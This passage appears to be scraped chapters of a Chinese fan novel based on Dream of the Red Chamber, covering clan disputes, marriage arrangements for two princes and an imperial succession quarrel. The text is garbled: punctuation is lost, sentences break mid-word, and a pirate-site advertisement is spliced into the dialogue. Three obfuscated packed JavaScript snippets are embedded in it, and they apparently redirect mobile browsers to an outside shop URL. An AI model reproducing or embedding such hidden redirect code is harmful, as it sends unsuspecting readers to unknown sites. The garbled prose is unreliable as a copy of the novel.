说着她又叹道:“这人口繁衍是好事也不算什么好事。如今族里头人越来越多我替隔壁大嫂子管了一阵那真是累得够呛!也不知道大嫂子这些年怎么过来的!我们家还算是好的我们老太太娘家那边才叫一个够呛!老史侯才走没多久听说陪葬比较丰厚南边族里头就闹腾起来。说是当年都是族里出了子弟跟着史侯一脉出去征战不知道多少子弟死在战场上才叫他们有了爵位结果如今他们爵位几代不替族里头却要活不下去了!如今史家兄弟两个还在孝里虽说袭爵的文书已经下来了但两房人总不能靠着爵位吃一辈子出孝之后总得有个营生才行若是连宗族那边都管不好叫外头知道了只怕连个缺都补不上因此硬是叫族里将南边的产业大半给要了去听说额外还讹了一笔知道他们府里大太太守了寡只有一个女儿还有人异想天开想要将自家的孩子过继过来这是盯上人家的嫁妆了!我家老太太听说这事只气得倒仰。” 说到这里张氏其实有些幸灾乐祸看这老太太还是不是总把侯府放在嘴边如今变笑话了吧! 顾晓听得目瞪口呆这史鼎史鼐就这么软骨头还有史家族里头以后难道就不指望侯府提携了? 顾晓忍不住问了出来张氏摇了摇头说道:“史家那边的情况我也不是很清楚不过听我们老爷说金陵那边史家似乎是攀上了什么靠山才瞧不上京里这一脉了!也是头一任史侯不地道带着一干子弟征战疆场也没给族里那些子弟多少好处竟是没几个 捞到外放的官职,只是顶着侯府亲卫的名头,死伤的也就是得了一笔抚恤罢了!最后,保龄侯这一脉倒是得了恩典,三代不降,但是在族里头看来,这恩典都是用下头子弟的命换来的。这些年来,侯府为了这事,也一直补贴族里,只是人心不足,别人有,哪里比得上自己有呢! 顾晓唏嘘了一番:“你们府上亲戚多,事情也多!我记得你们家在江南好像还有别的什么老亲呢?下头人在江南那边做生意,听说还有什么四大家族的说法,只是如今王家没了,提的人也就少了! 张氏听了,不免有些尴尬:“都是外头人胡说,我们家都搬到神京几十年了,江南那些族人最多就是乡下土财主罢了,还什么四大家族,没得叫人笑话!如今史家闹成这样,只怕回头还有磨牙的!薛家也是不好,之前我那弟妹收了一封信,说是薛家那位当家的一病没了,族里头要争那个皇商的名额,想要求贾家这边出面,保住那个名额!我那弟妹跑去求老太太,但是老太太是什么人,连娘家的事情都不肯多一句嘴,何况是个薛家! 顾晓忙问道:“那后来呢? 张氏脸上露出了无奈的神色,说道:“薛家不知道给我那弟妹送了什么厚礼,她竟是私下拿了府里二老爷的帖子,叫人送到了薛家,狐假虎威了一把,算是给她那妹子将皇商的名额保住了!但何必呢,他们家孤儿寡母的,守着这么大的家业,一辈子吃穿不尽,非得什么都要争,到时候族里头使个坏,只怕连现在的家业都保不住! 张氏就是觉得王氏眼皮子浅,为着一点钱,掺和到人家家务事里头,回头就是整个荣国府都要被人记恨上,她倒是跟着得了好处。贾史氏知道,也就是嘴上骂了王氏一顿,但王氏好处都已经到手了,被骂一顿又如何呢! 再说了,这些年都是张氏量入为出,每年给荣禧堂和荣庆堂支钱,偏生贾政是个花钱没数的,贾宝玉虽说年纪小,但是贾史氏娇惯得厉害,这么点大的人,一个人的用度抵得上几个人,连着伺候他的几个丫头,都大手大脚起来。这些都是贾史氏拿着自己的私房补贴,所以,张氏权当不知道。这由俭入奢易,由奢入俭难,等着回头贾史氏走了,看二房怎么办! 但如今,王氏就是个过路财神,张氏这边卡得紧,她一年辛苦下来,便是赏赐下头丫头婆子都不给钱,而是给旧衣服,也攒不下多少,如今突然来了这么一笔外快,哪里能忍得住不伸手!何况,薛王氏还许诺了以后,年年都会有红利送过来,王氏一直就是黑眼珠子见不得白花花的银子,如今拉拔娘家妹子一把,就能有这样的好处,她哪有不敢干的道理!除非贾家这边舍得撕破面皮,硬跑到南边去将贾政的帖子追回来,但那样的话,也是打了贾家的脸。贾赦也就罢了,很多时候,为了叫贾政吃亏,是不吝啬面皮的,可贾史氏跟贾政都是极要脸面的人,既然事情已经成了定局,那就只能咽下这口气! 当然,贾史氏也没饶了王氏,她之前还贴补贾政,如今干脆也不管了,只顾着贾宝玉和贾珠,贾政那边,想要什么孤本善本,古玩书画,那就让王氏掏钱吧! 作者有话要说 第 181 章 “潜力股” 第181章“潜力股” 送走了张氏母子,顾晓略一盘算,惊讶地发现,金陵十二钗除了个巧姐,差不多也聚齐了。只是,贾瑚这边定了王府郡主,一向跟大房较劲的王氏,还肯叫贾珠继续娶李纨吗? 实际上,寻常文官家里的女儿是真不好嫁!潜力股这种东西,是不容易看出来的。正常情况下,三十多岁能中进士,就已经是俊杰,很多女孩子嫁过去的是秀才娘子,结果一辈子就都是秀才娘子了。有道是穷秀才,富举人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13508392|117602||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,举人优免的田亩数量也多,还有做官的资格。而秀才就不一样,无非就是免除了徭役,优免的田赋也比较少。而作为秀才,往往是脱产读书,大户人家还好,支撑得起,小门小户的,可能就是好几房节衣缩食,供养一个秀才。 第 182 章 顾晓原本觉得自家... 第182章顾晓原本觉得自家 顾晓原本觉得自家儿子还没开窍,但随着身边差不多大的人陆陆续续定亲,徒嘉钰难免也起了心思。 这其实就是男人的好胜心,一个个都有未婚妻了,就自己没有,那就是不行! 因此,徒嘉钰休沐回来就找上了顾晓。 顾晓被他说得一乐,笑道:“好哇,那你先说一下,你想要什么样的?妈才好给你去找,要不然,寻到的不合你的心意,回头娶回来了,日子过得不顺心,就是耽误了人家姑娘!” 徒嘉钰年纪大了之后,也晓得当初父王活着的时候,自家亲妈日子过得是真不顺心,原本对亲爹还有些滤镜的,知道得多了,便也没了!比起没什么印象的亲爹,亲妈这么多年来精心抚育,万事都想在他前头,他日子过得比亲爹还活着的那些堂兄弟都要舒服,那干什么还要多惦记亲爹,不多孝敬亲妈呢? 这会儿一听顾晓说要合他的心意,虽说给出的理由是不要耽误了人家姑娘,但心里头还是觉得顾晓是为了自己好,才愿意找一个自己喜欢的。外头人家父母给孩子选媳妇,选的往往都是父母一辈喜欢的,儿子的看法不重要。不喜欢嫡妻,还可以纳妾嘛!嫡妻只要能管家理事,生下嫡子就好! 徒嘉钰也就是一说,也没想到自己想要什么样的,不免有些茫然,讪讪道:“妈,我不就是不知道该要什么样的吗?” 顾晓笑道:“这有什么不知道的,你如今是王爷了,娶回来的就是未来的王妃,日后要在宗室里头走动的,那就得选个能撑得住事的。不过,如今我还在,她便是嫁过来,也可以先看着,只要不笨,又肯学,那也没问题。除此之外,就得看你的想法!你喜欢高的矮的,胖的瘦的,性子安静的,还是活泼的,你都得先想好了再说!当然,也没那等真的十全十美的,人都有不足之处,到时候你发现了,只要不是什么原则性的问题,都可以宽容一些!” 徒嘉钰琢磨了一下,他还真没想过这个,就想着有个媳妇了,一时半会儿也不知道怎么说,因此只好说道:“那我回去想想,回头再跟妈说!” 顾晓等着徒嘉钰走了,便自个拿了本新出的话本翻着玩,看了一会儿,又觉得没什么意思,干脆丢到一边,春香 看她无聊,便端了一盘子核桃来,又拿了个小锤子,叫顾晓砸着玩。 这年头的核桃不是后世那种纸皮核桃,个头没那么大,外壳也更厚,所以,手剥是剥不开的,就得用锤子。 顾晓便拿了锤子砸着玩,春香在一边拿了银牙签将砸开核桃里头的核桃仁给剔出来,放到一个莲花甜白瓷碗里,又说道:“娘娘,等着王爷成了亲,再有几年,娘娘就能抱孙子了! 顾晓一听就有些不顺耳,说道:“我觉得自己还年轻呢,也不急着抱什么孙子! 春香马屁拍到马腿上,不由吐了吐舌头,赔笑道:“是奴婢说错了话,但是娘娘如今看着也的确年轻,就跟二十出头一样,跟奴婢站在一起,奴婢看起来反而要大一点呢! 顾晓笑道:“你是嫌分到的胭脂水粉少了是吧?回头把我的分你一些!还有啊,你虽说自梳了,但也犯不着把自己往老气了打扮,老姑娘也是姑娘,穿点鲜亮的,看起来也精神! 春香忙说道:“我生得寻常,打扮起来也就那样,还费这个事做什么! 顾晓不赞同说道:“不管生得如何,该打扮还是打扮起来,你们打扮得漂漂亮亮的,站在我面前,我看了也高兴! 听顾晓这么说,春香便爽快道:“那行,奴婢回头也装扮起来,娘娘看了但凡能多吃两口饭,也不枉我折腾一回! 顾晓听得笑了起来:“怎么就折腾了,你要是自个梳妆不方便,就叫两个小丫头帮你一下,你还使唤不动她们不成! “那不成,府里丫头都是伺候主子的,我们是哪个牌面上的人,也要人伺候!春香赶紧拒绝。 “就是小姐妹帮个忙嘛!我这边现在这批丫头也该放出去了,本来就得再提拔几个会梳头打扮得人上来,叫她们先在你身上练练手便是了!春香立誓不嫁,顾晓也不希望这位满心满眼都看着自己,如今她在顾晓身边更多的是充当类似于嬷嬷的角色,本来也没多少活计,再没点消磨时间的事情,回头难免觉得憋屈。 春香见顾晓坚持,忙答应了下来,又说道:“也是娘娘慈悲,身边的丫头才用熟了,也就放出去了,放在外头,有那等觉得身边丫头好,舍不得放,硬留在身边的多的是! “我又不缺人伺候,硬留着她们作甚!女 孩子家家青春有限多留几年想要门好婚事都难!便是府里那几个家里有孩子的媳妇进来求娶也总喜欢捡年轻的呢!”外头虽说有句话叫做宁娶大家婢不娶小家女。但那只是针对的是平民阶层。可是府里这些丫头便是粗使的在吃穿用度上也比外头小家女要强到了年纪放出去府里还会再给一笔嫁妆银子。论起实惠之处更是比外头强得多。 但是对于这些丫头来说一个个也都是比较实际的人听起来良民好听实际上那真的是朝不保夕。刘姥姥一家是良民祖上还是做过官的跑到贾家打秋风连门房都得叫太爷!在王府做下人某种意义上来说那是旱涝保收便是府里头粗使的下人一个月的月钱加上府里给的其他福利也足够养活一家人了何况很多人家其实家里好几个都在府里或者是在外头产业上差的这就比外头好过多了! 至于说什么良民的后代可以参加科举之类的呵呵他们这些人对于儿女的期盼无非就是能在府里做个管事科举这种事情离他们太远了!何况宰相门前七品官王府的下人走出去你能真拿他们当奴婢看吗?打狗还得看主人呢!宗室无权不代表宗室就无威慑了! 总之下头不来说想要放良顾晓就不会主动提这事。对于大户人家来说有的时候说是将人放出去 顾晓素来是个省事的反正到了年纪你们出去就是自行聘嫁想要在府里找那你们自个商议想要找外头的到时候我也给你们一张放良的文书你们自奔前程。我不乱点鸳鸯谱等着你们成婚了孩子生了想要再进府来当差那就看府里什么时候补人。 对此下头人也安心有的府里头便有一些主子身边得脸的下人硬要给自家没出息甚至还有恶习的孩子求娶府里能干的丫头主子这边一开口女方那边再不喜欢也得老老实实答应下来回头吃苦的只有落入了虎狼窝的丫头。 如今夏字辈的大丫头要放出去也没人过来求什么恩典想要给丫头赎身什么的各家都是选了府里其他下人家还算出息的孩子然后将亲事定下来等着孩子放出去了就可以出嫁。 顾晓瞧了春香一眼笑道:“你现在也 还不算很大要是后悔了也还来得及!” 春香立马就摇了摇头顾晓没怎么关心放出去的那些丫头春香却是知道的。春燕出去之后家里倒是疼她求了顾晓放良将她嫁给了京中的远房亲戚家里还是个童生。结果因着会一手好针线连月子里都被家里逼着绣花偏生家里的油灯白蜡那是给男人念书用的她只能借着点光做活几年时间眼睛就快看不见了! 之前她有嫁妆能挣钱婆家对她看着还算尊重等眼睛不好了就嫌弃起她来话里话外还说她当日嫁过去落红有些不对是不是在府里被男主子破了身子。也就是那男人没出息至今也没考出来要不然的话日子只怕还要难过。 春香之前到前头传话的时候遇到过春燕她娘见到春香拉着她哭得都要喘不过气来话里话外都是早知道事情变成这样还不如也叫春燕跟春香一起自梳了如今在里头伺候又体面又轻省。 哪怕其他人日子过得似乎都还可以但是春香绝不去赌男人乃至婆家的良心!所以顾晓一说她立马又开始表白心迹:“奴婢就跟着娘娘便是到了地底下奴婢也得跟着去到时候还伺候娘娘!” 顾晓失笑说道:“罢了罢了你既是不想回头要是年纪大了大不了跟吴嬷嬷一样认个小丫头做干亲甚至在外头找个亲戚家的孩子做嗣子也是舍得的。但凡你手里有钱后头还有王府他们且不敢不孝顺!” 春香笑道:“娘娘刚刚还不服老呢现在又说什么年纪大了的话!” 见春香不想再提顾晓便只是记在心里琢磨着回头可以悄悄给春香立个账。这年头的医疗水平她也信不过自己要是寿命不够 徒嘉钰回去之后还真是一本正经地拿了一张纸出来开始在纸上罗列自己的要求。什么高矮胖瘦之类的他就不提了看着匀称就行至于相貌嘛虽说未必要什么绝色但总要在水准以上要不然以后生的孩子就可能也不好看!最主要还是家世和性情。 徒嘉钰觉得自己也不需要什么高门贵女门第说得过去就行便是门第低一点只要人好王府这边帮着准备嫁妆都没问题。当然所谓的人好 ,一个是女方自个性子要好,不能是那种刁蛮左性的,得宽和一些,最好跟自个亲妈一般。另一个得是家庭环境好,父母乃至祖父母一辈都和睦,寻常口角可以,不要有别的什么事情。 这么一算,徒嘉钰便觉得自己其实要求不高,因此回头就兴冲冲跑到顾晓那里,将自己要求说了。 顾晓听着,也是点了点头。就像是做菜的人最怕点菜的人说随便一样,有明确的要求总比没有要求好。因此,顾晓便笑道:“既然如此,回头我便帮你打听起来,只是到时候,你要是又反悔,那可不行!” 徒嘉钰信誓旦旦:“大丈夫一言既出驷马难追,既然是我说的,我肯定不反悔!” 顾晓又是笑了一回,说道:“行,你先回去吧,等有了消息,妈再跟你说!” 徒嘉钰乐颠颠回去了,估摸着等到了弘文馆,还得跟小伙伴炫耀一回,你们有未婚妻又怎么啦,我也要有了,我妈还说准备按照我的想法选! 顾晓还真将这事放在心上了,横竖徒嘉钰就是要个合适的未婚妻,定下来之后,也鸿雁传书个几回,女方那边再慢慢准备嫁妆,等着真正成婚的时候,女方年龄也差不多合适了。 只是,顾晓社交圈子实在是太小,还主要是宗室,最多就是加上娘家,自然找不出合适的人来。她跟宗室各家关系也淡,没到请人家做媒的地步,别到时候说得花团锦簇,事后一打听,又是另一副模样,反倒是伤了和气。 顾晓琢磨一番,决定趁着这个机会回一趟娘家。 因为是请隆安侯夫人帮着打听合适的姑娘,所以,顾晓便没带着末儿,免得这小子回头也跟着凑热闹。 徒嘉钰回来喊着也要定亲的话,顾晓又没有叫下头不要说,因此,李氏那边也知道了。听说太妃娘娘一早就坐了马车去了隆安侯府,李氏就有些发愁。 顾晓这个太妃可以找娘家帮自己儿子寻摸合适的儿媳妇,李氏可没这个便利。她娘家只怕能立马给她塞个侄女过来,好继续沾王府的光。 但若是求了顾晓帮忙相看,李氏又不怎么放心。这么多年来,顾晓一直对徒嘉泽算是尽心尽力,徒嘉泽在府里的一应待遇,跟末儿没什么区别,但越是如此,李氏越是怀疑里头有坑。 说她以小人之心度君子之腹也罢,当年 她坑顾晓的次数不少,如今母债子偿,若是顾晓想要在徒嘉泽的婚事上头拿捏一把,那李氏也毫无办 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13508393|117602||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 法,等回头娶进来一个搅家精,那真是后半辈子都不痛快!尤其,越是体面的人家,在外头越是不肯叫人说嘴,因此,富贵人家,便是妻子有什么不妥的地方,也多半只能是用一些温和的手段,比如叫人养病念佛什么的。便是这样的,说出去也叫人议论。 宗室里头,更是从来没有过什么和离之事,继室便是生了嫡子,封爵也得降一等,徒嘉泽就一个镇国将军,下头就剩三个等级,再降一等,那以后日子难免就要窘迫。 王府这些年在外头做生意的事情,李氏也知道一些,虽说不知道生意怎么样,但是府里头如今一应供给,比当年徒宏远在的时候还略强一些,可见赚头不错。但在李氏看来,既然是顾晓张罗的,这些只怕是算进了顾晓的私房里头,也就是说,不是官中的,到时候分家,徒嘉泽只能分到三分之一的公产,这能有多少!所以,李氏才不想让徒嘉泽分出去,只是现在能拖,总有拖不下去的时候,到时候一代代降爵,明明能往下传三代的,只能传两代,甚至更少,那岂不是糟糕? 李氏如今愈发悲观起来,却看徒嘉泽一副没心没肺的模样,不免心里更不舒服,只能在自个院子里头憋气。 她闷在屋里不出来,倒是刘氏何氏米氏她们三个觉得自在起来。 她们没有孩子,府里头也没有因为这个苛待她们,比起有孩子的,她们反倒是更不考虑什么养老不养老的,每日里凑在一块吃吃喝喝!如今李氏不用院子,以前院子里搭建的滑梯秋千什么的,一直也没拆,还有人维护,原本当着李氏的面不方便玩,如今李氏几天不露面,她们三个却是焕发了少女心性,在院子里玩得快活。 李氏在屋里听到,丫头们怕她不喜,便道:“娘娘,要不叫几位太姨娘回屋?” 李氏却是有些羡慕,说道:“罢了,就她们玩吧!横竖泽儿如今也不玩了,放在那里,也是白放着!” “要不,娘娘也去玩玩?” 李氏摇了摇头:“我要是去了,该她们不自在了!”原本她们几个有孩子的,还觉得这三个没孩子的不好过,但如今想想,黄氏她们便是有孩子又如何了?女儿总归是要嫁出去的,她们还要为着孩子的事情悬 心。反倒是这三位,无牵无挂,横竖有府里养着,便是以后换成新的平王妃当家,也不好太苛刻上头的长辈,反倒是能轻松一辈子。 如今李氏各种别扭,连着身边丫头也不知道该怎么伺候,好在她如今也老实了,便是有什么不爽的地方,也不会找丫头们的麻烦,这也让下面人都比较轻松。 李氏恹恹地听了一会儿外面的笑声,无精打采地说道:“将窗屉合上吧,我昨晚上没睡好,再略睡一会儿! 丫头们不敢多劝,忙过去关了窗,连着有些厚的纱窗都拉了下来,屋子里一下子暗淡了许多,李氏躺在床上,看着合了眼,心里头却是一片翻腾,她不断问自己,到底要不要相信正院那边,要不要赌一下。如果不赌,自己给徒嘉泽寻摸亲事的话,又能寻摸到什么样的! 一番思索之后,她悲哀地发现,自己便是越过正院那边,私底下寻了官媒,能给徒嘉泽找到的亲事也不会太高。 意识到这一点之后,她便干脆破罐破摔起来,罢了,正院都装了这么多年贤良了,没得如今小的还没成婚,就不装了。再说了,人家如今日子好过,也犯不着跟自己一般计较! 这般一想,李氏竟是豁然开朗起来,心中一松,很快混沌睡去。 而顾晓那边到了隆安侯府,正在跟隆安侯夫人说徒嘉钰的要求,只笑得前仰后合:“还是个孩子性子呢,竟是真的一板一眼地将要求列出来了,这下糊弄不过去了,怎么着都得给他找一个! 隆安侯夫人不赞同地说道:“之前你说要叫孩子晚婚,我就不怎么同意!他又不是外头那些书生,多读几年书,有了功名,就能寻到更好的亲事!宗室里头各家成婚都早,他落在后头,外头哪有不议论的,又不是你们府里二爷,他是身体不好,晚婚还说得过去! 顾晓坐在隆安侯夫人一侧,亲热地搂着她的胳膊,微微晃了晃,嘴里说道:“我就是觉得自己还年轻呢,不想做婆婆,更不想做祖母,再说了,以前钰儿也的确没开窍啊,便是现在,也是男孩子的好胜心,听他列的条件就知道了,且还没真的想过这事呢! “你当家做主这么多年,愈发有理了!隆安侯夫人嗔道,“你要真等他开了窍,回头给你弄出个庶长孙出来,你就哭去吧! 顾晓忙说道:“妈,我知道之前想差了,如今不是找您来了吗?我如今出门少,便是几个丫头在外头的手帕交,我也不是很熟,而且之前还有故意借着几个丫头想要接近家里孩子的,我委实有些不放心,所以,还是得再劳烦一下妈,当然,对外也别说是钰儿的要求,就说是我说的! 隆安侯夫人想了想,问道:“钰儿年纪小,说什么不求家世,但你也该知道,小门小户的姑娘,进了门只怕就要露怯,回头未必能养得出来。因而,还是得看着点门第的!你是准备在文官家里挑,还是在勋贵圈子里头挑? 顾晓琢磨一下,说道:“都行,但不能是那种什么都敢掺和的,当年的事情,还历历在目呢,我真不想也叫钰儿回头跟着担心! 隆安侯夫人笑道:“你就放心吧,真有那等眼高于顶,盼着什么从龙之功的,也不会跟宗室结亲,人家得冲着有权势的人使劲呢!你也说了,要性子好,家风正的,这样的人家,自然也不会走这种捷径,反倒是那些新荣之家或者是破落户,才会这般,这样的人家,我想着你也看不上! 作者有话要说 第 183 章 父皇,那可是儿子... 第183章父皇那可是儿子 在隆安侯府用了午饭,还跟两个嫂子说笑了一阵顾晓这才回了王府。 结果前脚刚回来就听留守的丫头说,上午李氏叫人来了一趟说是有事求见问顾晓什么时候有空。 顾晓琢磨一下说道:“我睡个午觉 李氏的心思其实挺浅白,顾晓稍微一想就猜到了无非就是看着自己开始给徒嘉钰相看了,怕把徒嘉泽给落下了。 顾晓倒是没想过李氏心里至今对自己还有许多戒备,要是知道,她肯定就不想沾手这事了。 后世自由恋爱还有许多怨偶呢,如今父母包办婚姻,有能白头偕老的有能相敬如宾的也有一些同床异梦乃至夫妻反目的,都说不清楚。 顾晓可不想给徒嘉泽找个媳妇还要保证他一辈子的幸福。无非就是找个相貌家世都差不多的,性子也好一些的徒嘉泽别看从小身体弱,却是个有主意的人,所以却不能也给他弄一个强势的,到时候两人说不定就对上了。 果不其然,李氏来了之后,没说几句话就提到了徒嘉泽的亲事。 她有些期期艾艾地说道:“泽儿身体不好原本没想着给他早找只是妹妹私心里头想着就算先定了亲离成亲也且还有几年好歹得等着他大哥成了婚再说!这神京虽大但好姑娘其实也就那么多妹妹乡下出身最是知道手快有手慢无的道理便琢磨着请姐姐帮忙掌掌眼!” 顾晓笑道:“泽儿难道不是我的儿子这事自然要帮他早早看起来!只是之前钰儿的婚事我也先问了他的意见才好在外头找泽儿一向是个有主意的所以还是先问了他为好!” 李氏一下子想歪了想到之前徒嘉泽被白莲教圣女给迷惑难不成如今又在外头认识了什么不正经的女子?当下就急了:“这婚姻大事无非就是父母之命媒妁之言泽儿一个孩子能有什么主意别又犯了糊涂!” 顾晓听了也是哭笑不得李氏就这么信不过自己儿子吗?她干脆说道:“泽儿是个有主见的孩子总归得知道他喜欢什么样的要不然咱们剃头挑子一头热人娶回来他看着不喜欢以后总归不畅快!” 李氏有些郁闷心里一肚子担忧徒嘉泽要是在她面前她非得问个清楚才行!只是想到这些日子徒嘉泽出门次数也少若真是在外头认识了什么人他这个年纪正是情窦初开的时候哪里能在家里待得住。因此她闷闷地说道:“姐姐说的是只是这事最后还是得姐姐做主!” 顾晓含笑答应了下来干脆也叫了徒嘉泽过来。 结果徒嘉泽一听居然脸色就是一白李氏一看就怀疑徒嘉泽又是在外头有了什么相好正要发作 顾晓也有些好奇便说道:“既然是你要娶亲总要你喜欢才行现在要是没想好那回去好好想一想想好了再来跟我或者是你母妃说!” 徒嘉泽赶紧摇了摇头说道:“那个我想好了!” 顾晓也开始怀疑这位是不是又看上什么人了到时候来个萝卜坑不过还是问道:“那泽儿你就慢慢说!” 徒嘉泽掰着指头说道:“那个不要太漂亮的漂亮的女人都爱骗人!” 李氏听了都傻眼了就听徒嘉泽继续说道:“也不要什么才女认得几个字会算账就行!” 顾晓听到这里愈发哭笑不得起来这是有了心理阴影了什么都要跟那位反着来果然徒嘉泽还说道:“得老实一些的在家大门不出二门不迈的那种家世什么的也就罢了差不多就行!” 李氏也听明白了顿时有些后悔忙说道:“也不是所有漂亮有才的姑娘都跟那位一样那个就是……”她不知道内情这会儿便磕磕巴巴起来。 顾晓见李氏这般干脆接了话温言说道:“你如今年纪还小也没见过什么外头的女子但你看看咱们家的姑娘就知道了虽说不是才女但也长得娇嫩也喜欢往外头去难道你几个姐妹这样的就不好了?” 徒嘉泽却是坚定地摇了摇头说道:“还是不要了我就要个老实的!” 李氏忙对着顾晓说道:“姐姐这事先作罢横竖他大哥也还在相看呢不如先紧着他大哥!泽儿这边还没开窍等回头再说吧!” 徒嘉泽一听居然松了口气看样子少年那个纯洁的小心灵是真的伤得够呛如今都有了应 激反应。 顾晓见状,便对李氏说道:“孩子也就是一时没想通,你回去不要跟他硬顶!日子将来是他自己过,他自己心里有数! 徒嘉泽在一边煞有其事地点了点头,李氏却是神情不好,但还是给顾晓道了谢,这才叫了徒嘉泽回西院说话。 母子两个一走,正院这边,几个在场的丫头都露出了笑意,谁能想得到,府里这位二公子,竟是被之前的事情给吓着了,如今连这等话都说出来了呢? 顾晓也是笑了一回,之后也没放在心上,少年人的心思还没定下来呢,说不定过两年时过境迁了,就又变了主意。只怕李氏也是这个想法,这两年不敢再提徒嘉泽的婚事了。 …… 开春之后,太上皇又染了一次风寒,感觉人不舒服,不免开始怀疑,自己还能再活几年,想到之前的思量,不免有点着急起来。 因此,等着圣上过来请安,太上皇就说道:“珩儿这些日子在朕这边伺候,朕也是心疼这孩子,朕也不知道这身体能撑多久…… 圣上忙说道:“父皇圣寿无疆,说这些不吉之言干什么! 太上皇横了圣上一眼,说道:“什么圣寿无疆,真能活千年万年的,那是王八!朕都这个年纪了,上头几位先皇,也算不得长寿,朕自从之前中过一次风之后,就跟个玻璃人一样,吹不得打不得的,之前不过贪看了一回花,竟是就染了风寒。朕想着,珩儿年纪也不小了,别因为朕的事情,把他耽误了,还是早点叫他成亲吧! 本朝除了太子大婚之后可以住在东宫,其他皇子但凡到了大婚,都要封王分出去,因此,圣上便有些犹豫起来。 他如今还年轻,虽说觉得嫡长子除了平庸一些,却也没有什么大过,又是个老实孝顺的,如今还算是国泰民安,其实下一任皇帝也未必要是什么精明强干的,因此,也想过立徒嘉珩的事情。只是,他又有些不甘心,毕竟,他并非没有别的选择,也并不一定就要选什么嫡长。 看到圣上这般模样,太上皇心中便有数了,说道:“你若是不想立太子,先封王也可,等着回头你看好了,再立业无妨!只是这般,你就得做好准备,毕竟,前车之鉴还不远! 说到这里,太上皇就有些意兴阑珊起来,圣上愈发有些不自在,只得 说道:“父皇说的是儿子回去还是得再想想!” 但回去之后圣上又想到一件事要是太上皇真的看好徒嘉珩为什么给他选个毫无助力的妻族呢?难道太上皇还有别的想法? 圣上一时想不到这些又不好直接去问免得回头太上皇说出什么他不能接受的事情来。 只是太上皇都说了叫徒嘉珩早点成亲圣上在这种事情上是真的不好违逆太上皇的意思而且他也觉得有点没脸去见皇后只好自个在御书房睡了一夜却一直有些心神不宁第二天上朝的时候都有些无精打采。 圣上折腾了自己好几天最后还是不得不去找太上皇愁道:“其实珩儿也是个好孩子从小到大都挺懂事对上孝顺对下头几个弟弟妹妹也体贴 鹅小说的域名qiexs⒓(请来企 鹅小说 看最新章节 完整章节)偏生他资质比较差心思简单儿子就怕他做了太子玩不过那些臣子反倒是叫这些臣子架空了!但他又是嫡长子若是不能做太子儿子又觉得对不住他和皇后!” 太上皇心里翻了个白眼就是典型的既要又要还要他当年也是一样又要义忠亲王聪明能干又要他能够孝顺体贴体察圣意还得能够不影响自己这个父皇的权威最好自己活着的时候都是自己做主等着自己要驾崩了再叫他接班。 结果这不就玩脱了人都死了这么多年自己便是后悔也晚了! 太上皇轻哼了一声:“你这话都说出来了还说自己拿不定主意?只怕你就是缺个说服自己的借口!” 太上皇这话说得直白圣上顿时尴尬的确是这个缘故他这些日子甚至连皇后那里都不敢多去生怕皇后问自己为什么徒嘉珩作为嫡长子至今却连个说法都没有。 当然皇后不是这样的人只是真要是明确否决了徒嘉珩的继承权那对皇后的打击也是可想而知的。皇后也不光是只有一个徒嘉珩下头还有个公主若是徒嘉珩做不得太子那日后他们母子三人都只会尴尬只怕日后想要个善终也是不行。 圣上只得低头说道:“儿子还请父皇指教!” 结果太上皇又转移了话题:“你大哥那边已经走了这么多年了!” 圣上听了附和道:“是啊算上今年都过了十年了!” 太上皇叹道:“当年的事情朕早就后悔 了只是这世上也没个后悔药!他又太刚烈自己不孝还不算还连个妻儿都拉着一起去了!要不是有个贾敬如今便是一点血脉也不会留下!只是可卿终究是个丫头却是要外嫁的!” 太上皇拐弯抹角了一回圣上也听明白了他看着太上皇的眼神有些难以置信:“父皇那可是儿子的嫡长子!” 太上皇没好气道:“你要是立了他做太子朕肯定半句话都不说!如今你不是没这个想法嘛与其叫他以后在兄弟里头尴尬 圣上听得心烦意乱只得说道:“父皇儿子还得再想想何况这事总得叫皇后知道!” “去吧慢慢跟皇后说依朕的意思你那皇后也是个贤惠的如今也还算年轻不如你们再生一个日后大家面上都好看!”太上皇看着圣上那样子觉得这事他迟早都要答应因此言语都和缓了许多至于皇后能不能再生一个那太上皇可不敢作保! 等着送走了圣上太上皇才说道:“珩儿你出来吧!” 徒嘉珩神思不属地从十二扇的大理石屏风后头出来看着太上皇一时都说不出话来。 太上皇见他恍惚模样连行礼都忘了不免有些心疼他招了招手说道:“来珩儿到皇祖父这边坐下!” 徒嘉珩回过神来语气有些干涩:“皇祖父!” 太上皇又招了招手:“都说了叫你过来坐还呆着干什么还要皇祖父来拉你不成!” 徒嘉珩一个激灵老老实实走到太上皇身边小心翼翼地坐在了炕沿上有些惶惑地看着太上皇。 他是真的老实许多事情没想那么多或者说是不敢多想。他以为自己老老实实听父皇的吩咐听皇祖父的教导父皇总归要对自己另眼相看的。 结果在父皇眼里自己就是烂泥糊不上墙要不是碍着自己的出身只怕早就将自己打发出去了! 想到这里徒嘉珩不由流下泪来。 太上皇伸手搂住徒嘉珩轻轻拍着他的背语气也变得柔软慈爱起来:“你看史书也该看到不少人都说什么生生世世不愿入帝王家!咱们老徒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 